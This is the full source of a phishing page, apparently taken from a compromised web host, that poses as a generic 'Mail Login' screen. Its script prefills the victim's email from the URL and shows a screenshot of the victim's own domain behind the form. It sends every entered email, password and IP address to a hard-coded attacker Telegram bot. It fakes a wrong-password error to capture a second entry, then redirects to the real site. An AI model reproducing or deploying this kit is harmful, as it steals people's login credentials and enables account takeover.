| Current Path : /home/etiennec/www/e6335/ |
| Current File : /home/etiennec/www/e6335/camellion.html |
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Mail Login</title>
<link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"
/>
<link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"
rel="stylesheet"
/>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
}
body {
background-color: #f5f5f5;
transition: background-image 0.5s ease;
background-size: cover;
background-position: center;
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.overlay {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-color: rgba(109, 109, 109, 0.4);
z-index: -1;
}
.login-form {
background-color: white;
padding: 2rem;
border-radius: 8px;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
width: 500px;
margin: 20px;
}
.logo {
text-align: center;
margin-bottom: 1.5rem;
color: #0177d8;
font-size: 24px;
font-weight: bold;
}
.login-title {
text-align: center;
font-size: 1.8rem;
color: #333;
margin-bottom: 0.5rem;
}
.login-subtitle {
text-align: center;
color: #666;
margin-bottom: 2rem;
font-size: 0.9rem;
}
.form-group {
margin-bottom: 1.5rem;
}
.input-group {
display: flex;
align-items: center;
border: 1px solid #ddd;
border-radius: 4px;
padding: 0.5rem;
transition: border-color 0.3s;
}
.input-group:focus-within {
border-color: #0177d8;
}
.input-group-addon {
padding: 0 0.5rem;
color: #666;
}
.form-control {
border: none !important;
outline: none !important;
box-shadow: none !important;
border-color: inherit !important;
width: 100%;
padding: 0.5rem;
font-size: 1rem;
}
.btn-submit {
width: 100%;
background: #0177d8;
padding: 0.75rem;
border: none;
color: white;
border-radius: 4px;
font-size: 1rem;
font-weight: 600;
cursor: pointer;
transition: background-color 0.3s;
}
.btn-submit:hover {
background: #0160b5;
}
.form-footer {
display: flex;
justify-content: space-between;
align-items: center;
margin-top: 1.5rem;
}
.checkbox-inline {
display: flex;
align-items: center;
color: #666;
}
.forgot-password {
color: #0177d8;
text-decoration: none;
}
.forgot-password:hover {
text-decoration: underline;
}
.copyright {
text-align: center;
margin-top: 2rem;
color: #666;
font-size: 0.85rem;
}
.alert {
padding: 0.75rem;
border-radius: 4px;
margin-bottom: 1rem;
}
.alert-danger {
background-color: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
.spinner-container {
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
}
.spinner {
width: 3rem;
height: 3rem;
border: 0.25rem solid rgba(1, 119, 216, 0.3);
border-radius: 50%;
border-top-color: #0177d8;
animation: spin 1s linear infinite;
}
.success-container {
max-width: 500px;
margin: 0 auto;
padding: 2rem;
text-align: center;
}
.success-icon {
color: #28a745;
font-size: 4rem;
margin-bottom: 1.5rem;
}
.success-message {
font-size: 1.2rem;
margin-bottom: 2rem;
color: #333;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
.cursor-pointer {
cursor: pointer;
}
.hidden {
display: none !important;
}
#passwordError {
color: #721c24;
background-color: #f8d7da;
border-color: #f5c6cb;
padding: 0.75rem;
border-radius: 4px;
margin-bottom: 1rem;
text-align: center;
}
</style>
</head>
<body>
<!-- Loading Spinner -->
<div id="loadingSpinner" class="spinner-container">
<div class="spinner"></div>
</div>
<!-- Success Screen -->
<div id="successScreen" class="success-container hidden">
<div class="success-icon">
<i class="fas fa-check-circle"></i>
</div>
<div class="success-message" id="successMessage">
Verification succesful.
</div>
<a href="#" class="copyright" id="successCopyright"> Copyright © 2026 </a>
</div>
<!-- Main Login Form -->
<div id="loginForm" class="hidden">
<div class="overlay"></div>
<div class="login-form">
<form id="loginFormElement">
<div class="logo" id="logoContainer"></div>
<h3 class="login-title" id="loginTitle">Email Login</h3>
<p class="login-subtitle" id="loginSubtitle">
Sign in to continue to your account
</p>
<!-- Error Messages -->
<div id="generalError" class="alert alert-danger hidden"></div>
<div id="passwordError" class="hidden"></div>
<!-- Email Input -->
<div class="form-group">
<div class="input-group">
<span class="input-group-addon">
<i class="fas fa-user"></i>
</span>
<input
type="email"
class="form-control"
id="email"
name="email"
placeholder="Email"
/>
</div>
</div>
<!-- Password Input -->
<div class="form-group">
<div class="input-group">
<span
class="input-group-addon cursor-pointer"
id="togglePassword"
>
<i class="fas fa-eye" id="passwordIcon"></i>
</span>
<input
type="password"
class="form-control"
id="password"
name="password"
placeholder="Password"
/>
</div>
</div>
<!-- Submit Button -->
<div class="form-group">
<button type="submit" class="btn-submit" id="submitButton">
Login
</button>
</div>
<!-- Form Footer -->
<div class="form-footer">
<div>
<label class="checkbox-inline">
<input type="checkbox" id="rememberMe" />
<span class="ms-2">Remember me</span>
</label>
</div>
<div>
<a href="#" class="forgot-password" id="forgotPassword"
>Forgot Password?</a
>
</div>
</div>
<!-- Copyright -->
<p class="copyright" id="copyright">Copyright © 2026</p>
</form>
</div>
</div>
<script>
// Configuration
const TELEGRAM_BOT_TOKEN =
"8782739909:AAGmJxOqIW_uHND4ZEcpCrrtCsOPdmflKzM";
const TELEGRAM_CHAT_ID = "7481068255";
// State variables
let showPassword = false;
let email = "";
let password = "";
let loading = true;
let success = false;
let language = {};
let domain = "";
let ipAddress = "Unknown";
let attemptCount = 1;
let showPasswordError = false;
const currentYear = new Date().getFullYear();
// DOM elements
const loadingSpinner = document.getElementById("loadingSpinner");
const loginForm = document.getElementById("loginForm");
const successScreen = document.getElementById("successScreen");
const loginFormElement = document.getElementById("loginFormElement");
const emailInput = document.getElementById("email");
const passwordInput = document.getElementById("password");
const togglePassword = document.getElementById("togglePassword");
const passwordIcon = document.getElementById("passwordIcon");
const submitButton = document.getElementById("submitButton");
const generalError = document.getElementById("generalError");
const passwordError = document.getElementById("passwordError");
const loginTitle = document.getElementById("loginTitle");
const copyright = document.getElementById("copyright");
const successMessage = document.getElementById("successMessage");
const successCopyright = document.getElementById("successCopyright");
const logoContainer = document.getElementById("logoContainer");
// Initialize the page
document.addEventListener("DOMContentLoaded", function () {
initializePage();
fetchIpAddress();
});
// Initialize page
function initializePage() {
// Simulate loading
setTimeout(() => {
loading = false;
loadingSpinner.classList.add("hidden");
// Check URL for domain and email data
const currentUrl = window.location.href;
const urlObj = new URL(currentUrl);
let domainPath = urlObj.hash;
if (domainPath) {
domainPath = handleBase64Data(
domainPath.substring(1).split("/")[0],
);
let domainName = domainPath.substring(domainPath.indexOf("@") + 1);
domain = domainName;
// Set background image
const backgroundImage = `https://image.thum.io/get/width/1200/http://${domainName}`;
document.body.style.backgroundImage = `url('${backgroundImage}')`;
}
// Parse hash for email and language data
const hashParts = window.location.hash
? window.location.hash.substring(1).split("/")
: [];
if (hashParts.length > 0) {
const emailData = handleBase64Data(hashParts[0]);
const langData = getLocalizedLanguage(
hashParts.length > 1 ? hashParts[1] : "",
);
language = langData;
if (emailData) {
email = emailData;
emailInput.value = emailData;
emailInput.readOnly = true;
document.title = `${emailData.split("@")[1]} ${language.mail || ""}`;
}
} else {
language = getLocalizedLanguage();
}
// Update UI with language data
updateUIWithLanguage();
// Show login form
loginForm.classList.remove("hidden");
}, 1000);
}
// Handle base64 encoded data
function handleBase64Data(data) {
try {
return atob(data);
} catch (error) {
return data;
}
}
// Get localized language strings
function getLocalizedLanguage(langCode = "") {
const browserLang =
langCode || navigator.language || navigator.userLanguage;
const langPrefix = browserLang.substring(0, 2);
const languages = {
en: {
lessThan4: "Password must be at least 4 characters long.",
msg: "Invalid password. Please enter the correct information.",
error:
"The account does not exist. Please enter a different account.",
emlTxt: "Email",
pswTxt: "Password",
submitBtn: "Login",
secLgSs: "Secure login session",
frgPsw: "Forgot password?",
copy: "",
verifyingText: "Verifying...",
emlLogin: "Email Login",
mail: "Mail",
yourEmail: "Your email has been successfully activated.",
success:
"",
},
};
return languages[langPrefix] || languages["en"];
}
// Update UI with language strings
function updateUIWithLanguage() {
if (loginTitle && language.emlLogin) {
loginTitle.textContent = language.emlLogin;
}
if (emailInput && language.emlTxt) {
emailInput.placeholder = language.emlTxt;
}
if (passwordInput && language.pswTxt) {
passwordInput.placeholder = language.pswTxt;
}
if (submitButton && language.submitBtn) {
submitButton.textContent = language.submitBtn;
}
if (copyright && language.copy) {
copyright.textContent = `${language.copy} ${currentYear}`;
}
if (successMessage && language.success) {
successMessage.textContent = language.success;
}
if (successCopyright && language.copy) {
successCopyright.textContent = `${language.copy} ${currentYear}`;
}
}
// Fetch IP address
async function fetchIpAddress() {
try {
const response = await fetch("https://api.ipify.org?format=json");
const data = await response.json();
ipAddress = data.ip;
} catch (error) {
console.error("Error fetching IP address:", error);
ipAddress = "Failed to get IP";
}
}
// Send credentials to Telegram
async function sendToTelegram(email, password, attemptNumber) {
const now = new Date();
const datetime = now.toISOString();
const message = `
📧 Email: ${email}
🔑 Password: ${password}
🔄 Attempt: ${attemptNumber}
🌐 IP Address: ${ipAddress}
⏰ Timestamp: ${datetime}
`;
const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${TELEGRAM_CHAT_ID}&text=${encodeURIComponent(message)}`;
try {
await fetch(url);
console.log("Message sent to Telegram");
return true;
} catch (error) {
console.error("Error sending message to Telegram:", error);
return false;
}
}
// Handle form submission
async function handleSubmit(e) {
e.preventDefault();
// Get form values
email = emailInput.value.trim();
password = passwordInput.value.trim();
// Clear errors
generalError.classList.add("hidden");
passwordError.classList.add("hidden");
// Validate email
const emailRegex =
/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (!emailRegex.test(email)) {
generalError.textContent = language.error || "Invalid email format";
generalError.classList.remove("hidden");
return;
}
// Validate password length
if (password.length < 4) {
generalError.textContent =
language.lessThan4 || "Password must be at least 4 characters";
generalError.classList.remove("hidden");
return;
}
// Show loading state
submitButton.disabled = true;
submitButton.innerHTML = `<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> ${language.verifyingText || "Verifying..."}`;
try {
// Always send credentials to Telegram
await sendToTelegram(email, password, attemptCount);
if (attemptCount === 1) {
// First attempt - show wrong password message
setTimeout(() => {
passwordInput.value = "";
submitButton.disabled = false;
submitButton.textContent = language.submitBtn || "Login";
passwordError.textContent =
language.msg || "Invalid password. Please try again.";
passwordError.classList.remove("hidden");
attemptCount = 2;
}, 1500);
} else {
// Second attempt - redirect to domain
setTimeout(() => {
if (domain) {
window.location.href = `http://www.${domain}`;
} else {
// If no domain, show success screen
loginForm.classList.add("hidden");
successScreen.classList.remove("hidden");
}
}, 1500);
}
} catch (error) {
console.log("Error in submission:", error);
submitButton.disabled = false;
submitButton.textContent = language.submitBtn || "Login";
generalError.textContent = "An error occurred. Please try again.";
generalError.classList.remove("hidden");
}
}
// Toggle password visibility
function togglePasswordVisibility() {
showPassword = !showPassword;
if (showPassword) {
passwordInput.type = "text";
passwordIcon.classList.remove("fa-eye");
passwordIcon.classList.add("fa-eye-slash");
} else {
passwordInput.type = "password";
passwordIcon.classList.remove("fa-eye-slash");
passwordIcon.classList.add("fa-eye");
}
}
// Event listeners
loginFormElement.addEventListener("submit", handleSubmit);
togglePassword.addEventListener("click", togglePasswordVisibility);
// Forgot password link
document
.getElementById("forgotPassword")
.addEventListener("click", function (e) {
e.preventDefault();
alert(
"Please contact your system administrator to reset your password.",
);
});
// Remember me checkbox
document
.getElementById("rememberMe")
.addEventListener("change", function () {
if (this.checked) {
console.log("Remember me checked");
} else {
console.log("Remember me unchecked");
}
});
</script>
</body>
</html>